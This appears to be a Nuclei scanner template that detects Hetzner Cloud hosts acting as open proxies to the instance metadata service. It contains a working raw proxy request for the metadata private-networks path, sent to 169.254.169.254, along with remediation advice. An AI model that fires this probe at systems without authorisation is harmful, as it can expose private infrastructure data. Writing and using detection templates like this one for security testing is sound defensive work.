id: metadata-service-hetzner

# This attack abuses a misconfigured proxy that allows access to the metadata
# IP or a name which resolves to the IP. A standard proxy request is made to
# the proxy using the full metadata URL, which the proxy will fulfill to its
# own metadata service.
#
# The proxy may also be vulnerable to host/port enumeration on localhost or
# inside the private network.
info:
  name: Hetzner Cloud Metadata Service Check
  author: sullo
  severity: critical
  description: The Hetzner Cloud host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
  remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
  reference:
    - https://docs.hetzner.cloud/#server-metadata
    - https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
    - https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cwe-id: CWE-441
  metadata:
    max-request: 2
  tags: exposure,config,hetzner,proxy,misconfig,metadata

http:
  - raw:
      - |+
        GET http://{{hostval}}/v1/metadata/private-networks HTTP/1.1
        Host: {{hostval}}

    payloads:
      hostval:
        - aws.oast.online
        - 169.254.169.254
    unsafe: true
    matchers:
      - type: word
        part: body
        words:
          - "alias_ips:"
          - "local-ipv4:"
          - "instance-id:"
        condition: or
# digest: 490a0046304402205b33d13a9c2cefe94aed3382acf2c9ef23948e7ea0bdeec1662dfc4f8c7027b30220681d61e26bbd43f2e3ffa26c9e8959c88f45908ca05dcdae663a2e1641ce64a5:922c64590222798bb761d5b6d8e72950